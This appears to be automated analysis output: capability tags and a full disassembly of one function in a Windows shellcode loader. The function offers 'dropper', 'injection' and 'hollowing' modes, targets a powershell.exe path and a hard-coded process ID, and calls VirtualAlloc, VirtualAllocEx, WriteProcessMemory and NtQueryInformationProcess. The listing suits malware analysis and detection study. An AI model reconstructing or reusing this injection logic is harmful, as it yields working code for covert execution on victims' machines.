Function at 0x401590
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch process command line
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x138
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x134], eax
push esi
push edi
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401ce0
push eax
call fcn.00401ad0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movups xmm0, xmmword [str.hollowing]
mov eax, dword [0x4035fc]
lea edi, [esp + 0xc0]
mov dword [esp + 0x40], eax
mov ecx, 0x1d
mov ax, word [0x403648]
mov esi, str.C:_Windows_SysWOW64_WindowsPowerShell_v1.0_powershell.exe
movups xmmword [esp + 0x30], xmm0
mov word [esp + 0x98], ax
lea eax, [esp + 0x30]
movups xmm0, xmmword [str.C:_Users_80378_Desktop_bai_ceshi.exe]
push str.dropper
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
movups xmmword [esp + 0x54], xmm0
push eax
movups xmm0, xmmword [0x403610]
movups xmmword [esp + 0x68], xmm0
movups xmm0, xmmword [0x403620]
movups xmmword [esp + 0x78], xmm0
movups xmm0, xmmword [0x403630]
movups xmmword [esp + 0x88], xmm0
movq xmm0, qword [0x403640]
movq qword [esp + 0x98], xmm0
call esi
mov edi, eax
lea eax, [esp + 0x38]
push str.injection
push eax
mov dword [esp + 0x34], edi
call esi
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x40]
push str.hollowing
push eax
call esi
add esp, 0x18
mov dword [esp + 0x20], eax
cmp dword [esp + 0x2c], 0
mov dword [esp + 0x14], 0
je 0x4016e9
test eax, eax
je 0x4016e9
test edi, edi
jne 0x4016df
lea eax, [esp + 0x50]
push eax
push 0x403750
call fcn.00401020
add esp, 8
lea ecx, [esp + 0x50]
call fcn.004011f0
mov ecx, dword [eax]
mov edi, dword [eax + 4]
mov dword [esp + 0x14], ecx
sub edi, ecx
jmp 0x401783
push 0x403770
jmp 0x401777
lea eax, [esp + 0x50]
push eax
push 0x4036e8
call fcn.00401020
lea eax, [esp + 0x58]
push 0x403598
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov edi, eax
add esp, 0x10
mov dword [esp + 0x10], edi
test edi, edi
je 0x401772
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov edi, eax
add esp, 4
mov dword [esp + 0x28], edi
lea ecx, [edi + 1]
push ecx
call fcn.00401eb8
add esp, 4
mov dword [esp + 0x14], eax
push 0
push 0
push dword [esp + 0x18]
call esi
add esp, 0xc
push dword [esp + 0x10]
push edi
push 1
push dword [esp + 0x20]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push str._v__._n
call fcn.00401020
add esp, 0x14
jmp 0x401787
push str._x__._n
call fcn.00401020
mov edi, dword [esp + 0x30]
add esp, 4
mov dword [esp + 0x28], edi
push 0x40
lea eax, [edi + 0x15f]
mov dword [esp + 0x14], 0
push 0x3000
push eax
push 0
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [esp + 0x1c], esi
test esi, esi
jne 0x4017bc
mov eax, str._x_
xor edi, edi
jmp 0x40182a
push edi
push dword [esp + 0x18]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, 0x57
add edi, esi
mov esi, str._j0Xd
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
movq xmm0, qword [0x403484]
mov esi, dword [esp + 0x1c]
movups xmm1, xmmword [0x403474]
mov ax, word [0x40348c]
mov edi, dword [esp + 0x18]
movq qword [esp + 0xb0], xmm0
mov dword [esp + 0xb2], ecx
movq xmm0, qword [esp + 0xb0]
movups xmmword [esi], xmm1
mov dword [esp + 0x10], edi
movq qword [esi + 0x10], xmm0
mov word [esi + 0x18], ax
mov eax, str._v_
push eax
call fcn.00401020
add esp, 4
cmp dword [esp + 0x2c], 0
jne 0x401977
push 0x4037fc
call fcn.00401020
add esp, 4
push 0x162e
push 0x40381c
call fcn.00401020
add esp, 8
push 0x162e
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x40
push 0x3000
push dword [esp + 0x18]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esp + 0x14]
mov dword [esp + 0x30], eax
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push dword [esp + 0x28]
push str.___shellcode_current_at__x_n
call fcn.00401020
add esp, 8
mov dword [esp + 0x2c], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x4018c7
push str.Cannot_load_ntdll.dll._n
jmp 0x401930
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4018e2
push str.Cannot_load_NtQueryInformationProcess._n
jmp 0x401930
push 0x18
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4018fa
push str.ExAllocatePoolWithTag_failed._n
jmp 0x401930
lea eax, [esp + 0x2c]
push eax
push 0x18
push esi
push 0
push edi
call dword [esp + 0x2c]
test eax, eax
je 0x401924
push eax
push str.NtQueryInformationProcess_should_return_NT_SUCCESS__Status___x_._n
call fcn.00401020
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
jmp 0x401938
cmp dword [esp + 0x2c], 0x18
je 0x40193a
push str.Warning_:_NtQueryInformationProcess_ReturnLength_is_different_than_ProcessInformationLength_n
call fcn.00401020
add esp, 4
xor esi, esi
push 0
push 4
lea eax, [esp + 0x34]
mov dword [esp + 0x34], 0
push eax
mov eax, dword [esi + 4]
add eax, 0x2488
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 4
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x38]
add eax, 0xbc
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x4019e0
cmp dword [esp + 0x20], 0
jne 0x4019ae
push 0x403848
call fcn.00401020
add esp, 4
lea eax, [esp + 0x50]
push eax
push 0x403868
call fcn.00401020
push edi
mov edx, esi
lea ecx, [esp + 0xcc]
call fcn.00401440
add esp, 0xc
jmp 0x4019e0
cmp dword [esp + 0x24], 0
jne 0x4019d3
push 0x403888
call fcn.00401020
add esp, 4
lea ecx, [esp + 0xc0]
mov edx, esi
push edi
call fcn.00401440
jmp 0x4019dd
push str.___
call fcn.00401020
add esp, 4
push 0x4038c0
call fcn.00401020
mov ecx, dword [esp + 0x140]
add esp, 4
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00401e6c
mov esp, ebp
pop ebp
ret